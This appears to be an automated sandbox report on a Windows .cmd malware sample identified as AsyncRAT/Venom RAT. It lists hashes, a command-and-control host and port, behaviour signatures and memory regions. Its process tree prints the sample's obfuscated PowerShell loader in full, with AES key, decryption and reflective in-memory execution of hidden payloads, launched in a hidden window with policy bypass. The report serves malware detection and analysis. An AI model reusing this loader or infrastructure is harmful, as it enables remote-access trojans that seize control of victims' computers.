Analysis

  • max time kernel
    131s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-05-2024 13:30

General

  • Target

    c2ab16802765ebcfe21f21aabd351c846bbea9140835c23579f9d0e26f9bdf2c.cmd

  • Size

    111KB

  • MD5

    934330a37a7b1380047366d135ff1423

  • SHA1

    1cadd58c7e7475277d23b924b3dac8aad567bf44

  • SHA256

    c2ab16802765ebcfe21f21aabd351c846bbea9140835c23579f9d0e26f9bdf2c

  • SHA512

    844b523cb12393b97a9807fd4b5bd9b811a7482a4d9865a0b3c7ccdce889222671f86bd87cc8a0ec25abefe62d8e33a871434114847fea58bf8bc73bc411362a

  • SSDEEP

    3072:/HPsUJ1lTMxqWITymQ57Leimw/gU0x1DzfsxciNpU3:XTWITymEeiWUxFy

Malware Config

Extracted

Family

asyncrat

Version

5.0.5

Botnet

Venom Clients

C2

xvern429.duckdns.org:8890

Mutex

Venom_RAT_HVNC_Mutex_Venom RAT_HVNC

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c2ab16802765ebcfe21f21aabd351c846bbea9140835c23579f9d0e26f9bdf2c.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3956
    • C:\Windows\system32\cmd.exe
      cmd /c "set __=^&rem"
      2⤵
        PID:4196
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lqGtFYajP4dvsKIWnOQi409E1v8ult6DFNGJrf47kZE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x2DBEVvQmBOCho9gd+n1bw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $oKEyn=New-Object System.IO.MemoryStream(,$param_var); $ZXvXs=New-Object System.IO.MemoryStream; $rdMmY=New-Object System.IO.Compression.GZipStream($oKEyn, [IO.Compression.CompressionMode]::Decompress); $rdMmY.CopyTo($ZXvXs); $rdMmY.Dispose(); $oKEyn.Dispose(); $ZXvXs.Dispose(); $ZXvXs.ToArray();}function execute_function($param_var,$param2_var){ $pUJev=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oJbpm=$pUJev.EntryPoint; $oJbpm.Invoke($null, $param2_var);}$XSGCc = 'C:\Users\Admin\AppData\Local\Temp\c2ab16802765ebcfe21f21aabd351c846bbea9140835c23579f9d0e26f9bdf2c.cmd';$host.UI.RawUI.WindowTitle = $XSGCc;$WmqwT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XSGCc).Split([Environment]::NewLine);foreach ($VEuit in $WmqwT) { if ($VEuit.StartsWith('kJooVBlfXESpuyhzrHrv')) { $iEGsi=$VEuit.Substring(20); break; }}$payloads_var=[string[]]$iEGsi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        2⤵
          PID:4044
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
          2⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2440

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fsh43bx0.jhl.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/2440-17-0x00007FF8E3030000-0x00007FF8E30EE000-memory.dmp

        Filesize

        760KB

      • memory/2440-11-0x00007FF8C56D0000-0x00007FF8C6191000-memory.dmp

        Filesize

        10.8MB

      • memory/2440-18-0x00000217DFE30000-0x00000217DFE46000-memory.dmp

        Filesize

        88KB

      • memory/2440-19-0x00000217DFE40000-0x00000217DFE56000-memory.dmp

        Filesize

        88KB

      • memory/2440-13-0x00000217DFE80000-0x00000217DFEC4000-memory.dmp

        Filesize

        272KB

      • memory/2440-14-0x00000217DFF50000-0x00000217DFFC6000-memory.dmp

        Filesize

        472KB

      • memory/2440-15-0x00000217DFAD0000-0x00000217DFAE0000-memory.dmp

        Filesize

        64KB

      • memory/2440-0-0x00007FF8C56D3000-0x00007FF8C56D5000-memory.dmp

        Filesize

        8KB

      • memory/2440-29-0x00007FF8C56D0000-0x00007FF8C6191000-memory.dmp

        Filesize

        10.8MB

      • memory/2440-6-0x00000217DF970000-0x00000217DF992000-memory.dmp

        Filesize

        136KB

      • memory/2440-12-0x00007FF8C56D0000-0x00007FF8C6191000-memory.dmp

        Filesize

        10.8MB

      • memory/2440-20-0x00007FF8C56D0000-0x00007FF8C6191000-memory.dmp

        Filesize

        10.8MB

      • memory/2440-23-0x00007FF8C56D0000-0x00007FF8C6191000-memory.dmp

        Filesize

        10.8MB

      • memory/2440-25-0x00007FF8C56D0000-0x00007FF8C6191000-memory.dmp

        Filesize

        10.8MB

      • memory/2440-26-0x00007FF8C56D3000-0x00007FF8C56D5000-memory.dmp

        Filesize

        8KB

      • memory/2440-27-0x00007FF8C56D0000-0x00007FF8C6191000-memory.dmp

        Filesize

        10.8MB

      • memory/2440-28-0x00007FF8C56D0000-0x00007FF8C6191000-memory.dmp

        Filesize

        10.8MB

      • memory/2440-16-0x00007FF8E3930000-0x00007FF8E3B25000-memory.dmp

        Filesize

        2.0MB